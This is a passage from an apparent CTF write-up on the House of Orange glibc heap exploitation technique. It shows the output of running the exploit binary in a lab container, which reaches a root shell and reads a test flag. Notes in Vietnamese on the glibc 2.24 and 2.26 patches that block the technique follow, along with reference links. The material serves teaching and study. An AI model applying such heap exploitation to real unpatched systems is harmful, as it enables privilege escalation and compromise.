7f353ae56000-7f353ae57000 rw-p 00000000 00:00 0
7fff23095000-7fff230b6000 rw-p 00000000 00:00 0 [stack]
Segmentation fault (core dumped)
root@c71533184795:/home/ctf# ./houseoforange
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./houseoforange': malloc(): memory corruption: 0x00007f6ed10ea520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f6ed0d9c7f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8215e)[0x7f6ed0da715e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f6ed0da91d4]
./houseoforange[0x4007d8]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f6ed0d45840]
./houseoforange[0x4005d9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:38 801134 /home/ctf/houseoforange
00600000-00601000 r--p 00000000 00:38 801134 /home/ctf/houseoforange
00601000-00602000 rw-p 00001000 00:38 801134 /home/ctf/houseoforange
3cac3000-3cb06000 rw-p 00000000 00:00 0 [heap]
7f6ecc000000-7f6ecc021000 rw-p 00000000 00:00 0
7f6ecc021000-7f6ed0000000 ---p 00000000 00:00 0
7f6ed0b0f000-7f6ed0b25000 r-xp 00000000 00:38 24422 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f6ed0b25000-7f6ed0d24000 ---p 00016000 00:38 24422 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f6ed0d24000-7f6ed0d25000 rw-p 00015000 00:38 24422 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f6ed0d25000-7f6ed0ee5000 r-xp 00000000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f6ed0ee5000-7f6ed10e5000 ---p 001c0000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f6ed10e5000-7f6ed10e9000 r--p 001c0000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f6ed10e9000-7f6ed10eb000 rw-p 001c4000 00:38 24401 /lib/x86_64-linux-gnu/libc-2.23.so
7f6ed10eb000-7f6ed10ef000 rw-p 00000000 00:00 0
7f6ed10ef000-7f6ed1115000 r-xp 00000000 00:38 24381 /lib/x86_64-linux-gnu/ld-2.23.so
7f6ed1304000-7f6ed1307000 rw-p 00000000 00:00 0
7f6ed130d000-7f6ed130e000 rw-p 00000000 00:00 0
7f6ed130e000-7f6ed1312000 r--p 00000000 00:00 0 [vvar]
7f6ed1312000-7f6ed1314000 r-xp 00000000 00:00 0 [vdso]
7f6ed1314000-7f6ed1315000 r--p 00025000 00:38 24381 /lib/x86_64-linux-gnu/ld-2.23.so
7f6ed1315000-7f6ed1316000 rw-p 00026000 00:38 24381 /lib/x86_64-linux-gnu/ld-2.23.so
7f6ed1316000-7f6ed1317000 rw-p 00000000 00:00 0
7ffc631f0000-7ffc63211000 rw-p 00000000 00:00 0 [stack]
# id
uid=0(root) gid=0(root) groups=0(root)
# cat flag.txt
flag{this_is_a_test_flag}Patches
Từ glibc 2.24, kỹ thuật House of Orange trở nên khó khăn khi glibc bổ sung kiểm tra vtable của _IO_FILE trước khi gọi các hàm ảo, chỉ chấp nhận vtable hợp lệ nằm trong danh sách của libc. Điều này ngăn không cho kẻ tấn công sử dụng fake vtable trên heap để chuyển điều khiển tới code tùy ý.
Từ glibc 2.26, quá trình abort không còn tự động flush hoặc close các stream nữa, khiến cho đường dẫn khai thác dựa vào overwrite _IO_list_all và chờ abort để trigger _IO_OVERFLOW không còn hoạt động, ngăn chặn hoàn toàn kỹ thuật này.
Do đó, kỹ thuật này chỉ hiệu quả với glibc 2.23 trở xuống.
References
- https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/
- https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c
- https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
- https://book.hacktricks.wiki/en/binary-exploitation/libc-heap/unsorted-bin-attack.html
- https://ctf-wiki.mahaloz.re/pwn/linux/io_file/introduction/
- https://ctf-wiki.mahaloz.re/pwn/linux/io_file/fsop/
- https://book.hacktricks.wiki/en/binary-exploitation/libc-heap/index.html
- https://book.hacktricks.wiki/en/binary-exploitation/libc-heap/bins-and-memory-allocations.html
- https://book.hacktricks.wiki/en/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.html
- https://elixir.bootlin.com/glibc/glibc-2.23/source
- https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/